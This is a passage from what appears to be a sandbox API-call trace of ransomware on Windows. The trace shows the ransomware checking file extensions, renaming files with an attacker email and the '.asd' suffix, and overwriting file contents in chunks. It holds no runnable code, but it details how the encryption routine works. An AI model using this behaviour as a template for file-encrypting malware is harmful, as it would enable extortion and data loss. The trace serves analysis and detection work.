Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv") returned 80 [0059.436] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv") returned 80 [0059.436] lstrlenW (lpString=".doc") returned 4 [0059.436] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0059.436] lstrlenW (lpString=".docx") returned 5 [0059.436] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0059.436] lstrlenW (lpString=".pdf") returned 4 [0059.436] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0059.436] lstrlenW (lpString=".xls") returned 4 [0059.436] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0059.436] lstrlenW (lpString=".xlsx") returned 5 [0059.436] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0059.436] lstrlenW (lpString=".ppt") returned 4 [0059.436] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0059.436] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv") returned 80 [0059.436] lstrlenW (lpString=".zip") returned 4 [0059.436] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0059.437] lstrlenW (lpString=".rar") returned 4 [0059.437] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0059.437] lstrlenW (lpString=".bz2") returned 4 [0059.437] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0059.437] lstrlenW (lpString=".7z") returned 3 [0059.437] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0059.437] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv") returned 80 [0059.437] lstrlenW (lpString=".dbf") returned 4 [0059.437] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 Thread: id = 17 os_tid = 0x990 [0040.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x38e06b0 [0040.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x38f06b8 [0040.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560428 [0040.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x5630d0 [0040.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560440 [0040.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x3db0020 [0040.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560458 [0040.254] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560458, Size=0x20) returned 0x58f920 [0040.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560458 [0040.254] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560458, Size=0x20) returned 0x58f8f8 [0040.254] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0040.255] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0040.255] Wow64DisableWow64FsRedirection (in: OldValue=0x32bff58 | out: OldValue=0x32bff58*=0x0) returned 1 [0040.255] lstrlenW (lpString="kernel32.dll") returned 12 [0040.255] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58f920 | out: hHeap=0x510000) returned 1 [0040.255] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0040.255] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58f8f8 | out: hHeap=0x510000) returned 1 [0040.255] Sleep (dwMilliseconds=0x64) [0040.535] lstrcmpiW (lpString1=".ttf", lpString2=".asd") returned 1 [0040.535] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0040.535] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0040.836] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x32bff1c | out: lpFileSize=0x32bff1c*=1984228) returned 1 [0040.836] CloseHandle (hObject=0x164) returned 1 [0040.836] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0040.836] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0040.836] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[asdbtc@aol.com].asd")) returned 0 [0040.837] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0040.837] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0040.837] lstrlenW (lpString=".doc") returned 4 [0040.837] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0040.837] lstrlenW (lpString=".docx") returned 5 [0040.837] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0040.837] lstrlenW (lpString=".pdf") returned 4 [0040.837] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0040.837] lstrlenW (lpString=".xls") returned 4 [0040.837] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0040.837] lstrlenW (lpString=".xlsx") returned 5 [0040.837] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0040.837] lstrlenW (lpString=".ppt") returned 4 [0040.837] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0040.837] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0040.837] lstrlenW (lpString=".zip") returned 4 [0040.837] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0040.837] lstrlenW (lpString=".rar") returned 4 [0040.837] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0040.837] lstrlenW (lpString=".bz2") returned 4 [0040.837] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0040.837] lstrlenW (lpString=".7z") returned 3 [0040.837] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0040.837] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0040.837] lstrlenW (lpString=".dbf") returned 4 [0040.837] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0040.837] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0040.837] lstrlenW (lpString=".1cd") returned 4 [0040.837] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0040.837] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0040.837] lstrlenW (lpString=".jpg") returned 4 [0040.837] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0040.838] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0040.838] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0040.838] lstrlenW (lpString=".doc") returned 4 [0040.838] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0040.838] lstrlenW (lpString=".docx") returned 5 [0040.838] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0040.838] lstrlenW (lpString=".pdf") returned 4 [0040.838] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0040.838] lstrlenW (lpString=".xls") returned 4 [0040.838] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0040.838] lstrlenW (lpString=".xlsx") returned 5 [0040.838] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0040.838] lstrlenW (lpString=".ppt") returned 4 [0040.838] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0040.838] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0040.838] lstrlenW (lpString=".zip") returned 4 [0040.838] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0040.838] lstrlenW (lpString=".rar") returned 4 [0040.838] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0040.838] lstrlenW (lpString=".bz2") returned 4 [0040.838] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0040.838] lstrlenW (lpString=".7z") returned 3 [0040.838] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0040.838] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0040.838] lstrlenW (lpString=".dbf") returned 4 [0040.838] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0040.838] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0040.838] lstrlenW (lpString=".1cd") returned 4 [0040.838] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0040.838] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0040.838] lstrlenW (lpString=".jpg") returned 4 [0040.838] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0040.839] Sleep (dwMilliseconds=0x64) [0041.602] Sleep (dwMilliseconds=0x64) [0041.850] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0041.850] lstrlenW (lpString="ExcelMUI.msi") returned 12 [0041.850] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0042.525] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x32bff1c | out: lpFileSize=0x32bff1c*=2506240) returned 1 [0042.525] CloseHandle (hObject=0x1a8) returned 1 [0042.525] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi")) returned 0x2020 [0042.525] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0042.525] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0042.526] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0042.526] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc6c | out: lpNewFilePointer=0x0) returned 1 [0042.526] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0042.526] ReadFile (in: hFile=0x1a8, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.531] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0042.531] ReadFile (in: hFile=0x1a8, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.545] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.545] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0042.545] ReadFile (in: hFile=0x1a8, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.564] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0042.564] WriteFile (in: hFile=0x1a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x32bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x32bfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0042.964] SetEndOfFile (hFile=0x1a8) returned 1 [0042.964] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f33bd0 [0042.967] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0042.967] WriteFile (in: hFile=0x1a8, lpBuffer=0x3f33bd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33bd0*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.969] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0042.970] WriteFile (in: hFile=0x1a8, lpBuffer=0x3f33bd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33bd0*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.976] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0042.976] WriteFile (in: hFile=0x1a8, lpBuffer=0x3f33bd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33bd0*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.979] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f33bd0 | out: hHeap=0x510000) returned 1 [0042.979] CloseHandle (hObject=0x1a8) returned 1 [0043.854] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0043.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.854] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.854] lstrlenW (lpString=".doc") returned 4 [0043.854] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.854] lstrlenW (lpString=".docx") returned 5 [0043.854] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.854] lstrlenW (lpString=".pdf") returned 4 [0043.854] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.854] lstrlenW (lpString=".xls") returned 4 [0043.855] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.855] lstrlenW (lpString=".xlsx") returned 5 [0043.855] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.855] lstrlenW (lpString=".ppt") returned 4 [0043.855] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.855] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.855] lstrlenW (lpString=".zip") returned 4 [0043.855] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.855] lstrlenW (lpString=".rar") returned 4 [0043.855] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.855] lstrlenW (lpString=".bz2") returned 4 [0043.855] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.855] lstrlenW (lpString=".7z") returned 3 [0043.855] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.855] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.855] lstrlenW (lpString=".dbf") returned 4 [0043.855] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.855] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.855] lstrlenW (lpString=".1cd") returned 4 [0043.855] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.855] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.855] lstrlenW (lpString=".jpg") returned 4 [0043.855] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.855] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.855] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.855] lstrlenW (lpString=".doc") returned 4 [0043.855] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.855] lstrlenW (lpString=".docx") returned 5 [0043.856] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.856] lstrlenW (lpString=".pdf") returned 4 [0043.856] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.856] lstrlenW (lpString=".xls") returned 4 [0043.856] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.856] lstrlenW (lpString=".xlsx") returned 5 [0043.856] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.856] lstrlenW (lpString=".ppt") returned 4 [0043.856] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.856] lstrlenW (lpString=".zip") returned 4 [0043.856] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.856] lstrlenW (lpString=".rar") returned 4 [0043.856] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.856] lstrlenW (lpString=".bz2") returned 4 [0043.856] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.856] lstrlenW (lpString=".7z") returned 3 [0043.856] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.856] lstrlenW (lpString=".dbf") returned 4 [0043.856] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.856] lstrlenW (lpString=".1cd") returned 4 [0043.856] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.856] lstrlenW (lpString=".jpg") returned 4 [0043.856] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.857] lstrcmpiW (lpString1=".cab", lpString2=".asd") returned 1 [0043.857] lstrlenW (lpString="PubLR.cab") returned 9 [0043.857] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0043.857] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x32bff1c | out: lpFileSize=0x32bff1c*=9958388) returned 1 [0043.857] CloseHandle (hObject=0x1a8) returned 1 [0043.857] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0043.857] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0043.857] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0043.858] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0043.858] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc6c | out: lpNewFilePointer=0x0) returned 1 [0043.858] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0043.858] ReadFile (in: hFile=0x1a8, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.863] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0043.863] ReadFile (in: hFile=0x1a8, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.874] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.874] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc2c | out: lpNewFilePointer=0x0) returned 1 [0043.874] ReadFile (in: hFile=0x1a8, lpBuffer=0x3e30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32bfc38, lpOverlapped=0x0 | out: lpBuffer=0x3e30058*, lpNumberOfBytesRead=0x32bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.894] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.894] WriteFile (in: hFile=0x1a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x32bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x32bfcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0044.093] SetEndOfFile (hFile=0x1a8) returned 1 [0044.093] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f43bd0 [0044.096] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0044.096] WriteFile (in: hFile=0x1a8, lpBuffer=0x3f43bd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f43bd0*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.098] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0044.098] WriteFile (in: hFile=0x1a8, lpBuffer=0x3f43bd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f43bd0*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.102] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x32bfc7c | out: lpNewFilePointer=0x0) returned 1 [0044.102] WriteFile (in: hFile=0x1a8, lpBuffer=0x3f43bd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32bfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f43bd0*, lpNumberOfBytesWritten=0x32bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.107] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f43bd0 | out: hHeap=0x510000) returned 1 [0044.107] CloseHandle (hObject=0x1a8) returned 1 [0046.262] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0046.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0046.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0046.262] lstrlenW (lpString=".doc") returned 4 [0046.262] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.263] lstrlenW (lpString=".docx") returned 5 [0046.263] lstrcmpiW 